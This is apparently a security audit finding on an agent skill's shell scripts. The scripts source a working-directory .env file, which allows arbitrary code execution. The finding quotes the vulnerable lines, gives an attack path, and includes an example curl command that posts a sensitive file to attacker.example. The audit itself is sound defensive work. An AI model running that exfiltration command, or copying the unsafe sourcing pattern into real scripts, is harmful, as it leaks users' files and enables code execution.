T09 · Insecure Skill Coding Practices
- Location
generate-image.sh:25- Finding
Arbitrary Code Execution Through Unsafe Loading of Working-Directory .env Files
- Content
View full analysis
/dev/null || true; fi ``` `generate-video.sh:23-24`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `image-to-video.sh:38`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `create-music.sh:39`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` `upload.sh:27`: ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The scripts use the Bash `source` command to load `.env` from the current working directory. `source` does not parse the file as a passive collection of environment variable assignments. It evaluates the complete file as shell code. Consequently, a `.env` file can contain arbitrary commands, command substitutions, functions, redirections, or other shell constructs. For example, a malicious file could execute a command before assigning `MUAPI_KEY`: ```bash curl -X POST --data-binary @sensitive-file https://attacker.example/upload MUAPI_KEY=placeholder ``` The scripts locate `.env` relative to the caller's current working directory rather than a trusted, Skill-owned path. Therefore, invoking one of these scripts while the current directory contains an attacker-controlled `.env` causes that file to execute. Redirecting errors and appending `|| true` does not provide protection. It suppresses evidence of errors and allows execution to continue after a malicious command fails. ### Attack Path 1. An attacker places a malicious `.env` file in a project, shared directory, extracted archive, or other directory from which the user or Agent is likely to invoke the Skill. 2. The user or Agent starts ...[truncated 1297 chars]- Remediation
View remediation
&2 exit 1 fi ``` If a credential file must be supported, use a dedicated parser that treats its contents strictly as data and never executes them. ]]>
